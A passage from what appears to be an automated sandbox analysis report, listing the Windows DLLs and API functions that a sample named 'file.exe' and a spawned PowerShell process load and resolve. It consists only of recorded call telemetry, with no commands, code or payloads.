a parameter %WINDIR%\system32\drivers\dmvsc.sys (UID: 00000000-00000700) "file.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\drivers\vmbusr.sys (UID: 00000000-00000700) "file.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ServiceModelPerformanceCounters.dll (UID: 00000000-00000700) "file.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\umpoext.dll (UID: 00000000-00000700) "file.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\drivers\tcpip.sys (UID: 00000000-00000700) "file.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\drivers\winnat.sys (UID: 00000000-00000700) "file.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\drivers\http.sys (UID: 00000000-00000700) "file.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\WindowsPowerShell\v1.0\PSEvents.dll (UID: 00000000-00000700) "file.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\drivers\dxgmms2.sys (UID: 00000000-00000700) "file.exe" called "LoadLibrary" with a parameter wmp.dll (UID: 00000000-00000700) "file.exe" called "LoadLibrary" with a parameter rdpcorets.dll (UID: 00000000-00000700) "file.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\drivers\srv2.sys (UID: 00000000-00000700) "file.exe" called "LoadLibrary" with a parameter NetLogon.dll (UID: 00000000-00000700) "file.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\drivers\usbxhci.sys (UID: 00000000-00000700) "file.exe" called "LoadLibrary" with a parameter drt.dll (UID: 00000000-00000700) "file.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\drivers\ndis.sys (UID: 00000000-00000700) "file.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32res.dll (UID: 00000000-00000700) "file.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\w32time.dll (UID: 00000000-00000700) "file.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\drivers\vmbkmclr.sys (UID: 00000000-00000700) "file.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\drivers\mrxsmb.sys (UID: 00000000-00000700) "file.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\appvetwclientres.dll (UID: 00000000-00000700) "file.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\eqossnap.dll (UID: 00000000-00000700) "file.exe" called "LoadLibrary" with a parameter PeerDistSvc.dll (UID: 00000000-00000700) "file.exe" called "LoadLibrary" with a parameter WsmRes.dll (UID: 00000000-00000700) "file.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\mprddm.dll (UID: 00000000-00000700) "file.exe" called "LoadLibrary" with a parameter %WINDIR%\System32\perfos.dll (UID: 00000000-00000700) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00001552) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00001552) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00001552) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00001552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00001552) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00001552) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00001552) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00001552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00001552) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00001552) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00001552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00001552) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00001552) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00001552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00001552) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00001552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00001552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00001552) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00001552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00001552) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00001552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00001552) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00001552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00001552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00001552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\b5ba37e1558ced178a99011a1d659b52\Microsoft.PowerShell.ConsoleH (UID: 00000000-00001552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00001552) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00001552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation. (UID: 00000000-00001552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00001552) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00001552) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00001552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00001552) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00001552) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00001552) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00001552) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00001552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00001552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00001552) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00001552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00001552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00001552) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00001552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00001552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00001552) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00001552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00001552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00001552) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00001552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00001552) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00001552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00001552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll (UID: 00000000-00001552) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00001552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\7b1f35fb0c2d6955ce5af2bd372c65f2\Microsoft.Management.Infrastr (UID: 00000000-00001552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00001552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\8ad4c0af5b3d51a0f3a4dac0d44d85d4\System.DirectoryServices.ni.d (UID: 00000000-00001552) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00001552)3f:T5b36,"file.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00000700) "file.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00000700) "file.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00000700) "file.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00000700) "file.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00000700) "file.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00000700) "file.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00000700) "file.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00000700) "file.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00000700) "file.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00000700) "file.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00000700) "file.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00000700) "file.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00000700) "file.exe" called "GetProcAddress" with a parameter SetThreadDescription (UID: 00000000-00000700) "file.exe" called "GetProcAddress" with a parameter OpenOSObject (UID: 00000000-00000700) "file.exe" called "GetProcAddress" with a parameter CollectOSObjectData (UID: 00000000-00000700) "file.exe" called "GetProcAddress" with a parameter CloseOSObject (UID: 00000000-00000700) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter RegEnumValueW (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCallback (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCleanupCallback (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter SetShellShimInstance (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter OnShimDllMainCalled (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx_RetAddr (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter UrlIsW (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter AppPolicyGetClrCompat (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageInfo (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackagePath (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter SetRuntimeInfo (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter DllGetClassObjectInternal (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter QuirkIsEnabled3 (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter QuirkGetData2 (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream_RetAddr (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter GetNumaHighestNodeNumber (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter RtlVirtualUnwind (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter GetSystemWindowsDirectoryW (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter InitializeAcl (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter AddAccessAllowedAce (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter RoInitialize (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter AddSIDToBoundaryDescriptor (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter CreateBoundaryDescriptorW (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter CreatePrivateNamespaceW (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter OpenPrivateNamespaceW (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter DeleteBoundaryDescriptor (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter WerRegisterRuntimeExceptionModule (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter RaiseException (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter GetProcessMemoryInfo (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter RoUninitialize (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap_RetAddr (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter SysStringByteLen (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter RoGetActivationFactory (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateStringReference (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter CoGetContextToken (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter WindowsDeleteString (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateString (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter NtQueryInformationThread (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter CreateWaitableTimerExW (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter SetWaitableTimerEx (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter EventActivityIdControl (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter EventWriteTransfer (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyEx (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter LocalFree (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter LocalAlloc (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathNameW (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter SetThreadErrorMode (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesEx (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesExW (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter GetUserPreferredUILanguages (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter ResolveLocaleName (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter CompareStringOrdinal (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathName (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSize (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfo (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValue (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageName (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageNameW (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter FindNLSStringEx (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueEx (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessId (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessIdW (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValue (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValueW (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessTokenW (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivileges (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivilegesW (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter OpenProcess (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessW (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModules (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModulesW (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformation (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformationW (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseName (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseNameW (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPath (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributes (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesW (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariable (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariableW (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter CreateFile (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameEx (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameExW (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcess (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcessW (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter EnumWindows (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter EnumWindowsW (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessId (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessIdW (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformationW (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter WerSetFlags (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguages (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguagesW (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguages (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguagesW (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleNameW (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter WTGetSignatureInfo (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter CoCreateGuid (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCP (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCPW (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter AmsiInitialize (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeExW (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoExW (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontEx (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontExW (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleMode (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleModeW (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfo (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfoW (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleMode (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleModeW (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandler (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandlerW (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter GetStdHandle (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessW (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformationW (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter LocalAllocW (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenEx (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenExW (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembership (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembershipW (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitle (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitleW (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter 